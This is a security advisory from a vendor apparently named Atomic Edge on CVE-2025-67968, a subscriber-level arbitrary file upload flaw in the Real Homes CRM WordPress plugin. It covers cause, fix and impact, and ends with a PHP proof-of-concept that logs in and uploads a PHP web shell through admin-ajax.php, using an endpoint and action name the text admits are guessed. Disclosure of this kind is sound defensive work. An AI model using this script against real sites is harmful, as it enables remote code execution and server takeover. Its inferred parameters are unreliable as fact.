Atomic Edge analysis of CVE-2025-67968 (metadata-based):
This vulnerability is an authenticated arbitrary file upload flaw in the Real Homes CRM WordPress plugin. The issue allows any authenticated user with Subscriber-level permissions or higher to upload files of any type to the server. The CVSS score of 8.8 (High) reflects the high impact of potential remote code execution.
Atomic Edge research identifies the root cause as a failure to validate file types before saving uploaded files. The CWE-434 classification confirms the plugin does not restrict uploaded files to safe extensions. This conclusion is inferred from the CWE and description, as the source code is unavailable for direct confirmation. The vulnerability likely exists in a file upload handler function that processes user-submitted files without checking the file extension or MIME type against an allowlist.
Exploitation requires an authenticated attacker to send a multipart POST request containing a malicious file to the plugin’s upload endpoint. Based on WordPress plugin conventions, the endpoint is likely `/wp-admin/admin-ajax.php` with an `action` parameter referencing a plugin-specific AJAX hook, such as `realhomes_crm_upload`. The attacker would set the `action` parameter and include a file field in the request body. A payload could be a PHP web shell with a `.php` extension.
The remediation likely implemented in version 1.0.1 involves adding server-side file type validation. A proper fix requires verifying the file extension and MIME type against a strict allowlist of permitted file types (e.g., `.jpg`, `.png`, `.pdf`) before moving the file to a web-accessible directory. The patch should also enforce proper capability checks, ensuring only intended user roles can access the upload function.
Successful exploitation grants an attacker the ability to upload arbitrary files, including executable scripts like PHP web shells, to the web server. This directly leads to remote code execution, compromising the server’s confidentiality, integrity, and availability. An attacker can fully control the website, steal data, deface pages, or establish a persistent backdoor.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-67968 - Real Homes CRM <= 1.0.0 - Authenticated (Subscriber+) Arbitrary File Upload
<?php
// CONFIGURATION
$target_url = 'https://target-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$malicious_file_path = './shell.php';
// Assumptions based on WordPress plugin patterns:
// 1. The plugin uses admin-ajax.php for file uploads.
// 2. The AJAX action name is derived from the plugin slug.
// 3. The vulnerable parameter for the file is named 'file'.
$ajax_action = 'realhomes_crm_upload'; // Inferred parameter
$file_field_name = 'file'; // Inferred parameter
// Step 1: Authenticate to WordPress and obtain cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Construct the file upload request to the AJAX endpoint
$upload_url = $target_url . '/wp-admin/admin-ajax.php';
$post_fields = array(
'action' => $ajax_action,
$file_field_name => new CURLFile($malicious_file_path, 'application/x-php', 'shell.php')
);
curl_setopt($ch, CURLOPT_URL, $upload_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: multipart/form-data'));
$upload_response = curl_exec($ch);
curl_close($ch);
// Step 3: Output the server response for analysis
echo "Upload Response:n";
echo $upload_response;
?>
